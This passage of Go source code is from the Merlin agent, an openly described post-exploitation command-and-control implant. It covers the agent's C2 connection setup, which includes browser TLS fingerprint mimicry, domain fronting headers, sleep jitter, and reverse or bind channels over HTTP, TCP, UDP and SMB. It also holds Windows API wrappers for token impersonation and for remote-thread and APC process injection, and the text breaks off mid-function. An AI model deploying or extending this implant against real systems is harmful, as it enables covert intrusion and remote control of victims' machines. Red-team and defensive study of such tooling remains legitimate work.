uConn.ConnectionState().NegotiatedProtocol { case "h2": var h2Conn *http2.ClientConn h2Conn, err = t.tr2.NewClientConn(uConn) if err != nil { return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): there was an error creating a new HTTP/2 client connection: %w", err) } return h2Conn.RoundTrip(req) case "http/1.1", "": err = req.Write(uConn) if err != nil { return nil, fmt.Errorf("write http1 tls connection fail: %w", err) } return http.ReadResponse(bufio.NewReader(uConn), req) default: return nil, fmt.Errorf("clients/utls/utls.go RoundTrip(): unsuported http version: %s", uConn.ConnectionState().NegotiatedProtocol) } } // tlsConnect gets a uTLS client from the transports JA3 or parrot string and executes just the TLS handshake func (t *Transport) tlsConnect(conn net.Conn, req *http.Request) (*tls.UConn, error) { t.mu.RLock() config := &tls.Config{ ServerName: req.URL.Host, InsecureSkipVerify: t.tr1.TLSClientConfig.InsecureSkipVerify, } tlsConn := tls.UClient(conn, config, t.clientHello) // Apply the custom TLS configuration to the connection if it exists if t.clientHelloSpec != nil { err := tlsConn.ApplyPreset(t.clientHelloSpec) if err != nil { t.mu.RUnlock() return nil, fmt.Errorf("there was an error applying the uTLS ClientHelloSpec: %s", err) } } t.mu.RUnlock() if err := tlsConn.Handshake(); err != nil { return nil, fmt.Errorf("tls handshake fail: %w", err) } return tlsConn, nil } // CustomPaddingStyle is a function to use with TLS extension ID 21, padding. // In order to ensure this TLS extension is always enabled, the function never returns 0 or false like the // BoringPaddingStyle function in the uTLS library does. Returns a random number between 0 and 65,535 // Adapted from https://github.com/refraction-networking/utls/blob/8e1e65eb22d21c635523a31ec2bcb8730991aaad/u_tls_extensions.go#L680 // https://www.rfc-editor.org/rfc/rfc7685.html func CustomPaddingStyle(unpaddedLen int) (int, bool) { pad, _ := tls.BoringPaddingStyle(unpaddedLen) if pad > 0 { return pad, true } // #nosec G404 -- Random number does not impact security return rand.Intn(65535), true } ================================================ FILE: http/winhttp/winhttp_exclude.go ================================================ //go:build !winhttp && (http2 || http3 || mythic || smb || tcp || udp || !windows) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package winhttp import ( "fmt" "net/http" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" "github.com/Ne0nd0g/merlin-agent/v2/http/http1" ) // NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API // A http.DefaultClient is returned if the platform is not Windows func NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) { cli.Message(cli.DEBUG, "http/winhttp/winhttp.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure)) cli.Message(cli.WARN, "winhttp was not compiled into this binary, using http.DefaultClient") return http1.NewHTTPClient(protocol, proxyURL, insecure) } ================================================ FILE: http/winhttp/winhttp_windows.go ================================================ //go:build http || winhttp || !(http2 || http3 || mythic || smb || tcp || udp) /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ // Package winhttp provides HTTP clients using the Windows WinHTTP API package winhttp import ( // Standard "crypto/tls" "fmt" "net/http" // 3rd Party winhttp2 "github.com/Ne0nd0g/winhttp" // Internal "github.com/Ne0nd0g/merlin-agent/v2/cli" ) // NewHTTPClient returns an HTTP/1.1 client using the Windows WinHTTP API func NewHTTPClient(protocol, proxyURL string, insecure bool) (*winhttp2.Client, error) { cli.Message(cli.DEBUG, "http/winhttp/winhttp_windows.go/NewHTTPClient(): Entering into function...") cli.Message(cli.DEBUG, fmt.Sprintf("Protocol: %s, Proxy: %s, insecure: %t", protocol, proxyURL, insecure)) client, err := winhttp2.NewHTTPClient() if err != nil { return nil, err } tlsConfig := tls.Config{ Rand: nil, Time: nil, Certificates: nil, GetCertificate: nil, GetClientCertificate: nil, GetConfigForClient: nil, VerifyPeerCertificate: nil, VerifyConnection: nil, RootCAs: nil, NextProtos: nil, ServerName: "", ClientAuth: 0, ClientCAs: nil, InsecureSkipVerify: insecure, CipherSuites: nil, SessionTicketsDisabled: false, ClientSessionCache: nil, UnwrapSession: nil, WrapSession: nil, MinVersion: 0, MaxVersion: 0, CurvePreferences: nil, DynamicRecordSizingDisabled: false, Renegotiation: 0, KeyLogWriter: nil, } transport := http.Transport{ Proxy: nil, OnProxyConnectResponse: nil, DialContext: nil, DialTLSContext: nil, TLSClientConfig: &tlsConfig, TLSHandshakeTimeout: 0, DisableKeepAlives: false, DisableCompression: false, MaxIdleConns: 0, MaxIdleConnsPerHost: 0, MaxConnsPerHost: 0, IdleConnTimeout: 0, ResponseHeaderTimeout: 0, ExpectContinueTimeout: 0, TLSNextProto: nil, ProxyConnectHeader: nil, GetProxyConnectHeader: nil, MaxResponseHeaderBytes: 0, WriteBufferSize: 0, ReadBufferSize: 0, ForceAttemptHTTP2: false, } client.Transport = &transport return client, nil } ================================================ FILE: main.go ================================================ /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package main import ( // Standard "bufio" "flag" "fmt" "io" "os" "strconv" "strings" "time" // 3rd Party "github.com/fatih/color" "github.com/google/shlex" "github.com/google/uuid" "github.com/Ne0nd0g/merlin-agent/v2/agent" "github.com/Ne0nd0g/merlin-agent/v2/clients" "github.com/Ne0nd0g/merlin-agent/v2/clients/http" "github.com/Ne0nd0g/merlin-agent/v2/clients/smb" "github.com/Ne0nd0g/merlin-agent/v2/clients/tcp" "github.com/Ne0nd0g/merlin-agent/v2/clients/udp" "github.com/Ne0nd0g/merlin-agent/v2/core" "github.com/Ne0nd0g/merlin-agent/v2/run" ) // GLOBAL VARIABLES // These are use hard code configurable options during compile time with Go's ldflags -X option // auth the authentication method the Agent will use to authenticate to the server var auth = "opaque" // addr is the interface and port the agent will use for network connections var addr = "127.0.0.1:7777" // headers is a list of HTTP headers that the agent will use with the HTTP protocol to communicate with the server var headers = "" // host a specific HTTP header used with HTTP communications; notably used for domain fronting var host = "" // httpClient is a string that represents what type of HTTP client the Agent should use (e.g., winhttp, go) var httpClient = "go" // ja3 a string that represents how the Agent should configure it TLS client var ja3 = "" // killdate the date and time, as a unix epoch timestamp, that the agent will quit running var killdate = "0" // listener the UUID of the peer-to-peer listener this agent belongs to, used with delegate messages var listener = "" // maxretry the number of failed connections to the server before the agent will quit running var maxretry = "7" // opaque the EnvU data from OPAQUE registration so the agent can skip straight to authentication var opaque []byte // padding the maximum size for random amounts of data appended to all messages to prevent static message sizes var padding = "4096" // parrot a string from the https://github.com/refraction-networking/utls#parroting library to mimic a specific browser var parrot = "" // protocol the communication protocol the agent will use to communicate with the server var protocol = "h2" // proxy the address of HTTP proxy to send HTTP traffic through var proxy = "" // proxyUser the username for proxy authentication var proxyUser = "" // proxyPass the password for proxy authentication var proxyPass = "" // psk is the Pre-Shared Key, the secret used to encrypt messages communications with the server var psk = "merlin" // secure a boolean value as a string that determines the value of the TLS InsecureSkipVerify option for HTTP // communications. // Must be a string, so it can be set from the Makefile var secure = "false" // sleep the amount of time the agent will sleep before it attempts to check in with the server var sleep = "30s" // skew the maximum size for random amounts of time to add to the sleep value to vary checkin times var skew = "3000" // transforms is an ordered comma seperated list of transforms (encoding/encryption) to apply when constructing a message // that will be sent to the server var transforms = "jwe,gob-base" // url the protocol, address, and port of the Agent's command and control server to communicate with var url = "https://127.0.0.1:443" // useragent the HTTP User-Agent header for HTTP communications var useragent = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36" func main() { verbose := flag.Bool("v", false, "Enable verbose output") version := flag.Bool("version", false, "Print the agent version and exit") debug := flag.Bool("debug", false, "Enable debug output") flag.StringVar(&auth, "auth", auth, "The Agent's authentication method (e.g, OPAQUE") flag.StringVar(&addr, "addr", addr, "The address in interface:port format the agent will use for communications") flag.StringVar(&transforms, "transforms", transforms, "Ordered CSV of transforms to construct a message") flag.StringVar(&url, "url", url, "A comma separated list of the full URLs for the agent to connect to") flag.StringVar(&psk, "psk", psk, "Pre-Shared Key used to encrypt initial communications") flag.StringVar(&protocol, "proto", protocol, "Protocol for the agent to connect with [https (HTTP/1.1), http (HTTP/1.1 Clear-Text), h2 (HTTP/2), h2c (HTTP/2 Clear-Text), http3 (QUIC or HTTP/3.0), tcp-bind, tcp-reverse, udp-bind, udp-reverse, smb-bind, smb-reverse]") flag.StringVar(&proxy, "proxy", proxy, "Hardcoded proxy to use for http/1.1 traffic only that will override host configuration") flag.StringVar(&proxyUser, "proxy-user", proxyUser, "Username for proxy authentication") flag.StringVar(&proxyPass, "proxy-pass", proxyPass, "Password for proxy authentication") flag.StringVar(&host, "host", host, "HTTP Host header") flag.StringVar(&ja3, "ja3", ja3, "JA3 signature string (not the MD5 hash). Overrides -proto & -parrot flags") flag.StringVar(&parrot, "parrot", ja3, "parrot or mimic a specific browser from github.com/refraction-networking/utls (e.g., HelloChrome_Auto)") flag.StringVar(&secure, "secure", secure, "Require TLS certificate validation for HTTP communications") flag.StringVar(&sleep, "sleep", sleep, "Time for agent to sleep") flag.StringVar(&skew, "skew", skew, "Amount of skew, or variance, between agent checkins") flag.StringVar(&killdate, "killdate", killdate, "The date, as a Unix EPOCH timestamp, that the agent will quit running") flag.StringVar(&listener, "listener", listener, "The uuid of the peer-to-peer listener this agent should connect to") flag.StringVar(&maxretry, "maxretry", maxretry, "The maximum amount of failed checkins before the agent will quit running") flag.StringVar(&padding, "padding", padding, "The maximum amount of data that will be randomly selected and appended to every message") flag.StringVar(&useragent, "useragent", useragent, "The HTTP User-Agent header string that the Agent will use while sending traffic") flag.StringVar(&headers, "headers", headers, "A new line separated (e.g., \\n) list of additional HTTP headers to use") flag.StringVar(&httpClient, "http-client", httpClient, "The HTTP client to use for communication [go, winhttp]") flag.Usage = usage if len(os.Args) <= 1 { input := make(chan string, 1) var stdin string go getArgsFromStdIn(input, *verbose) select { case i := <-input: stdin = i case <-time.After(500 * time.Millisecond): } if stdin != "" { args, err := shlex.Split(stdin) if err == nil && len(args) > 0 { os.Args = append(os.Args, args...) } } } flag.Parse() if *version { color.Blue(fmt.Sprintf("Merlin Agent Version: %s", core.Version)) color.Blue(fmt.Sprintf("Merlin Agent Build: %s", core.Build)) os.Exit(0) } core.Debug = *debug core.Verbose = *verbose // Setup and run agent agentConfig := agent.Config{ Sleep: sleep, Skew: skew, KillDate: killdate, MaxRetry: maxretry, } a, err := agent.New(agentConfig) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } // Parse the secure flag var verify bool verify, err = strconv.ParseBool(secure) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } // Get the client var client clients.Client var listenerID uuid.UUID switch protocol { case "http", "https", "h2", "h2c", "http3": clientConfig := http.Config{ AgentID: a.ID(), Protocol: protocol, ClientType: httpClient, Host: host, Headers: headers, Proxy: proxy, ProxyUser: proxyUser, ProxyPass: proxyPass, UserAgent: useragent, PSK: psk, JA3: ja3, Parrot: parrot, Padding: padding, AuthPackage: auth, Opaque: opaque, Transformers: transforms, InsecureTLS: !verify, } if strings.ToLower(httpClient) == "winhttp" && strings.ToLower(protocol) == "h2" { clientConfig.Protocol = "https" } if url != "" { clientConfig.URL = strings.Split(strings.ReplaceAll(url, " ", ""), ",") } client, err = http.New(clientConfig) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } case "tcp-bind", "tcp-reverse": listenerID, err = uuid.Parse(listener) if err != nil { if *verbose { color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err)) } os.Exit(1) } config := tcp.Config{ AgentID: a.ID(), ListenerID: listenerID, PSK: psk, Address: []string{addr}, AuthPackage: auth, Transformers: transforms, Mode: protocol, Padding: padding, } // Get the client client, err = tcp.New(config) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } case "udp-bind", "udp-reverse": listenerID, err = uuid.Parse(listener) if err != nil { if *verbose { color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err)) } os.Exit(1) } config := udp.Config{ AgentID: a.ID(), ListenerID: listenerID, PSK: psk, Address: []string{addr}, AuthPackage: auth, Transformers: transforms, Mode: protocol, Padding: padding, } // Get the client client, err = udp.New(config) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } case "smb-bind", "smb-reverse": listenerID, err = uuid.Parse(listener) if err != nil { if *verbose { color.Red(fmt.Sprintf("there was an error parsing the listener's UUID: %s", err)) } os.Exit(1) } config := smb.Config{ Address: []string{addr}, AgentID: a.ID(), AuthPackage: auth, ListenerID: listenerID, Padding: padding, PSK: psk, Transformers: transforms, Mode: protocol, } // Get the client client, err = smb.New(config) if err != nil { if *verbose { color.Red(err.Error()) } os.Exit(1) } default: if *verbose { color.Red(fmt.Sprintf("main: unhandled protocol %s\n", protocol)) os.Exit(1) } } // Start the agent run.Run(a, client) } // usage prints command line options func usage() { fmt.Printf("Merlin Agent\r\n") flag.PrintDefaults() os.Exit(0) } // getArgsFromStdIn reads merlin agent command line arguments from STDIN so that they can be piped in func getArgsFromStdIn(input chan string, verbose bool) { defer close(input) for { result, err := bufio.NewReader(os.Stdin).ReadString('\n') if err != nil && err != io.EOF { if verbose { color.Red(fmt.Sprintf("there was an error reading from STDIN: %s", err)) } return } input <- result } } ================================================ FILE: os/os.go ================================================ //go:build !windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package os import ( "os/user" ) // GetIntegrityLevel determines if the agent is running in an elevated context such as root // Returns 4 for root and 3 for members of the sudo group func GetIntegrityLevel() (integrity int, err error) { u, err := user.Current() if err != nil { return } if u.Uid == "0" || u.Gid == "0" { // 3 represents Windows high-integrity // 4 represents Windows system-integrity return 4, nil } // Lookup sudo group number sudo, err := user.LookupGroup("sudo") if err != nil { return } groups, err := u.GroupIds() if err != nil { return } for _, g := range groups { if g == sudo.Gid { return 3, nil } } return } // GetUser enumerates the username and their primary group for the account running the agent process // It is OK if this function returns empty strings because we want the agent to run regardless func GetUser() (username, group string, err error) { var u *user.User u, err = user.Current() if err != nil { return } username = u.Username group = u.Gid return } ================================================ FILE: os/os_windows.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package os import ( // X Packages "golang.org/x/sys/windows" // Internal "github.com/Ne0nd0g/merlin-agent/v2/os/windows/pkg/tokens" ) // GetIntegrityLevel returns the agent's current Windows Access Token integrity level // Returns 2 for medium integrity, 3 for high integrity, and 4 for system integrity // https://docs.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control func GetIntegrityLevel() (integrity int, err error) { var token windows.Token if tokens.Token != 0 { token = tokens.Token } else { token = windows.GetCurrentProcessToken() } level, err := tokens.GetTokenIntegrityLevel(token) if err != nil { return } switch level { case "Untrusted": integrity = 0 case "Low": integrity = 1 case "Medium", "Medium High": integrity = 2 case "High": integrity = 3 case "System": integrity = 4 } return } // GetUser enumerates the username and their primary group for the account running the agent process // It is OK if this function returns empty strings because we want the agent to run regardless func GetUser() (username, group string, err error) { return tokens.GetCurrentUserAndGroup() } ================================================ FILE: os/windows/README.MD ================================================ # Windows This directory is used to store functions exclusively used with the Windows agent. It consists of two high-level directories: - `api` - This directory stores low-level Win32 API calls without wrapper functionality; All checks should be performed prior to calling - `pkg` - This directory stores high-level functions that sometimes wrap Win32 API calls ================================================ FILE: os/windows/api/advapi32/advapi32.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package advapi32 import ( // Standard "fmt" "syscall" "unsafe" // X Packages "golang.org/x/sys/windows" ) var Advapi32 = windows.NewLazySystemDLL("Advapi32.dll") // CreateProcessWithLogon Creates a new process and its primary thread. // Then the new process runs the specified executable file in the security context of the specified credentials // (user, domain, and password). It can optionally load the user profile for a specified user. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw func CreateProcessWithLogon(lpUsername *uint16, lpDomain *uint16, lpPassword *uint16, dwLogonFlags uint32, lpApplicationName *uint16, lpCommandLine *uint16, dwCreationFlags uint32, lpEnvironment uintptr, lpCurrentDirectory *uint16, lpStartupInfo *windows.StartupInfo, lpProcessInformation *windows.ProcessInformation) error { CreateProcessWithLogonW := Advapi32.NewProc("CreateProcessWithLogonW") // Parse optional arguments var domain uintptr if *lpDomain == 0 { domain = 0 } else { domain = uintptr(unsafe.Pointer(lpDomain)) } var applicationName uintptr if *lpApplicationName == 0 { applicationName = 0 } else { applicationName = uintptr(unsafe.Pointer(lpApplicationName)) } var commandLine uintptr if *lpCommandLine == 0 { commandLine = 0 } else { commandLine = uintptr(unsafe.Pointer(lpCommandLine)) } var currentDirectory uintptr if *lpCurrentDirectory == 0 { currentDirectory = 0 } else { currentDirectory = uintptr(unsafe.Pointer(lpCurrentDirectory)) } // BOOL CreateProcessWithLogonW( // [in] LPCWSTR lpUsername, // [in, optional] LPCWSTR lpDomain, // [in] LPCWSTR lpPassword, // [in] DWORD dwLogonFlags, // [in, optional] LPCWSTR lpApplicationName, The function does not use the search path // [in, out, optional] LPWSTR lpCommandLine, The maximum length of this string is 1024 characters. // [in] DWORD dwCreationFlags, // [in, optional] LPVOID lpEnvironment, // [in, optional] LPCWSTR lpCurrentDirectory, // [in] LPSTARTUPINFOW lpStartupInfo, // [out] LPPROCESS_INFORMATION lpProcessInformation //); ret, _, err := CreateProcessWithLogonW.Call( uintptr(unsafe.Pointer(lpUsername)), domain, uintptr(unsafe.Pointer(lpPassword)), uintptr(dwLogonFlags), applicationName, commandLine, uintptr(dwCreationFlags), lpEnvironment, currentDirectory, uintptr(unsafe.Pointer(lpStartupInfo)), uintptr(unsafe.Pointer(lpProcessInformation)), ) if err != syscall.Errno(0) || ret == 0 { return fmt.Errorf("there was an error calling CreateProcessWithLogon with return code %d: %s", ret, err) } return nil } // CreateProcessWithTokenW creates a new process and its primary thread. The new process runs in the security context of // the specified token. It can optionally load the user profile for the specified user. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw func CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation uintptr) (err error) { // BOOL CreateProcessWithTokenW( // [in] HANDLE hToken, // [in] DWORD dwLogonFlags, // [in, optional] LPCWSTR lpApplicationName, // [in, out, optional] LPWSTR lpCommandLine, // [in] DWORD dwCreationFlags, // [in, optional] LPVOID lpEnvironment, // [in, optional] LPCWSTR lpCurrentDirectory, // [in] LPSTARTUPINFOW lpStartupInfo, // [out] LPPROCESS_INFORMATION lpProcessInformation //); ret, _, err := Advapi32.NewProc("CreateProcessWithTokenW").Call( hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation, ) if err != syscall.Errno(0) || ret == 0 { err = fmt.Errorf("there was an error calling advapi32!CreateProcessWithTokenW with return code %d: %s", ret, err) return } return nil } // ImpersonateLoggedOnUser lets the calling thread impersonate the security context of a logged-on user. // The user is represented by a token handle. // https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-impersonateloggedonuser func ImpersonateLoggedOnUser(hToken windows.Token) (err error) { impersonateLoggedOnUser := Advapi32.NewProc("ImpersonateLoggedOnUser") // BOOL ImpersonateLoggedOnUser( // [in] HANDLE hToken //); _, _, err = impersonateLoggedOnUser.Call(uintptr(hToken)) if err != syscall.Errno(0) { err = fmt.Errorf("there was an error calling ImpersonateLoggedOnUser: %s", err) return } err = nil return } // LogonUser attempts to log a user on to the local computer. // The local computer is the computer from which LogonUser was called. You cannot use LogonUser to log on to a remote computer. // You specify the user with a user name and domain and authenticate the user with a plaintext password. // If the function succeeds, you receive a handle to a token that represents the logged-on user. // You can then use this token handle to impersonate the specified user or, in most cases, to create a process that runs in the context of the specified user. // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonuserw func LogonUser(lpszUsername *uint16, lpszDomain *uint16, lpszPassword *uint16, dwLogonType uint32, dwLogonProvider uint32) (token *unsafe.Pointer, err error) { // The LogonUser function was not available in the golang.org/x/sys/windows package at the time of writing LogonUserW := Advapi32.NewProc("LogonUserW") // BOOL LogonUserW( // [in] LPCWSTR lpszUsername, // [in, optional] LPCWSTR lpszDomain, // [in, optional] LPCWSTR lpszPassword, // [in] DWORD dwLogonType, // [in] DWORD dwLogonProvider, // [out] PHANDLE phToken //); var phToken unsafe.Pointer _, _, err = LogonUserW.Call( uintptr(unsafe.Pointer(lpszUsername)), uintptr(unsafe.Pointer(lpszDomain)), uintptr(unsafe.Pointer(lpszPassword)), uintptr(dwLogonType), uintptr(dwLogonProvider), uintptr(unsafe.Pointer(&phToken)), ) if err != syscall.Errno(0) { err = fmt.Errorf("there was an error calling advapi32!LogonUserW: %s", err) return } return &phToken, nil } // LookupPrivilegeName retrieves the name that corresponds to the privilege represented on a specific system by a // specified locally unique identifier (LUID). // https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-lookupprivilegenamew func LookupPrivilegeName(luid windows.LUID) (privilege string, err error) { lookupPrivilegeNameW := Advapi32.NewProc("LookupPrivilegeNameW") // BOOL LookupPrivilegeNameW( // [in, optional] LPCWSTR lpSystemName, // [in] PLUID lpLuid, // [out, optional] LPWSTR lpName, // [in, out] LPDWORD cchName //); // Call to determine the size var cchName uint32 ret, _, err := lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), 0, uintptr(unsafe.Pointer(&cchName))) if err != windows.ERROR_INSUFFICIENT_BUFFER { return "", fmt.Errorf("there was an error calling advapi32!LookupPrivilegeName for %+v with return code %d: %s", luid, ret, err) } var lpName uint16 ret, _, err = lookupPrivilegeNameW.Call(0, uintptr(unsafe.Pointer(&luid)), uintptr(unsafe.Pointer(&lpName)), uintptr(unsafe.Pointer(&cchName))) if err != windows.Errno(0) || ret == 0 { return "", fmt.Errorf("there was an error calling advapi32!LookupPrivilegeName with return code %d: %s", ret, err) } return windows.UTF16PtrToString(&lpName), nil } ================================================ FILE: os/windows/api/kernel32/kernel32.go ================================================ //go:build windows /* Merlin is a post-exploitation command and control framework. This file is part of Merlin. Copyright (C) 2024 Russel Van Tuyl Merlin is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or any later version. Merlin is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Merlin. If not, see . */ package kernel32 import ( // Standard "fmt" // X Packages "golang.org/x/sys/windows" ) var kernel32 = windows.NewLazySystemDLL("kernel32.dll") // CreateRemoteThreadEx Creates a thread that runs in the virtual address space of another process and optionally // specifies extended attributes such as processor group affinity. // HANDLE CreateRemoteThreadEx( // // [in] HANDLE hProcess, // [in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes, // [in] SIZE_T dwStackSize, // [in] LPTHREAD_START_ROUTINE lpStartAddress, // [in, optional] LPVOID lpParameter, // [in] DWORD dwCreationFlags, // [in, optional] LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, // [out, optional] LPDWORD lpThreadId // // ); // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethreadex func CreateRemoteThreadEx(hProcess uintptr, lpThreadAttributes uintptr, dwStackSize uintptr, lpStartAddress uintptr, lpParameter uintptr, dwCreationFlags int, lpAttributeList uintptr, lpThreadId uintptr) (addr uintptr, err error) { createRemoteThreadEx := kernel32.NewProc("CreateRemoteThreadEx") addr, _, err = createRemoteThreadEx.Call(hProcess, lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, uintptr(dwCreationFlags), lpAttributeList, lpThreadId) if err != windows.Errno(0) { err = fmt.Errorf("there was an error calling Windows API CreateRemoteThread: %s", err) } else { err = nil } return } // QueueUserAPC Adds a user-mode asynchronous procedure call (APC) object to the APC queue of the specified thread. // DWORD QueueUserAPC( // // [in] PAPCFUNC pfnAPC, // [in] HANDLE hThread, // [in] ULONG_PTR dwData // // ); // https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-queueuserapc func QueueUserAPC(pfnAPC uintptr, hThread uintptr, dwData uintptr) (err error) { queueUserAPC := kernel32.NewProc("QueueUserAPC") _, _, err = queueUserAPC.Call(pfnAPC, hThread, dwData) if err != windows.Errno(0) { err = fmt.Errorf("there was an error calling Windows API QueueUserAPC: %s", err) } else { err = nil } return } // VirtualAllocEx Reserves, commits, or changes the state of a region of memory within the virtual address space of a // specified process. The function initializes the memory it allocates to zero. // // LPVOID VirtualAllocEx( // [in] HANDLE hProcess, // [in, optional] LPVOID lpAddress, // [in] SIZE_T dwSize, // [in] DWORD flAllocationType, // [in] DWORD flProtect // ); // // https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex func VirtualAllocEx(hProcess uintptr, lpAddress uintptr, dwSize int, flAllocationType int, flProtect int) (addr uintptr, err error) { virtualAllocEx := kernel32.NewProc("VirtualAllocEx") addr, _, err = virtualAllocEx.Call(hProcess, lpAddress, uintptr(dwSize), uintptr(flAllocationType), uintptr(flProtect)) if err != windows.Errno(0) { err = fmt.Errorf("there was an error calling Windows API VirtualAllocEx: %s", err) } else { err = nil } return } ================================================ FILE: os/windows/api/ntdll/ntdll.go ================================================ //go:build windows // +build windows // Merlin is a post-exploitation command and control framework. // This file is part of Merlin. // Copyright (C) 2022 Russel Van Tuyl // Merlin is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // any later version. // Merlin is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with Merlin. If not, see . package ntdll import ( // Standard "fmt" // X Packages "golang.org/x/sys/windows" ) var ntdll = windows.NewLazySystemDLL("ntdll.dll") // RtlCopyMemory routine copies the contents of a source memory block to a destination memory block // void RtlCopyMemory( // // void* Destination, // const void* Source, // size_t Length // // ); // https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/nf-wdm-rtlcopymemory func RtlCopyMemory(dest uintptr, src uintptr, len uint32) (err error) { rtlCopyMemory := ntdll.NewProc("RtlCopyMemory") _, _, err = rtlCopyMemory.Call(dest, src, uintptr(len)) if err != windows.Errno(0) { err = fmt.Errorf("there was an error calling Windows RtlCopyMemory function: %s", err) } else { err = nil } return } // RtlCreateUserThread // // NTSTATUS // RtlCreateUserThread( // IN HANDLE Process, // IN PSECURITY_DESCRIPTOR ThreadSecurityDescriptor OPTIONAL, // IN BOOLEAN CreateSuspended, // IN ULONG ZeroBits OPTIONAL, // IN SIZE_T MaximumStackSize OPTIONAL, // IN SIZE_T CommittedStackSize OPTIONAL, // IN PUSER_THREAD_START_ROUTINE StartAddress, // IN PVOID Parameter OPTIONAL, // OUT PHANDLE Thread OPTIONAL, // OUT PCLIENT_ID ClientId OPTIONAL // ); // // https://doxygen.reactos.org/da/d0c/sdk_2lib_2rtl_2thread_8c.html#ae5f514e4fcb7d47880171175e88aa205 func RtlCreateUserThread(hProcess uintptr, lpSecurityDescriptor, bSuspended, zeroBits, maxStack, commitSize, lpStartAddress, pParam, hThread, pClient 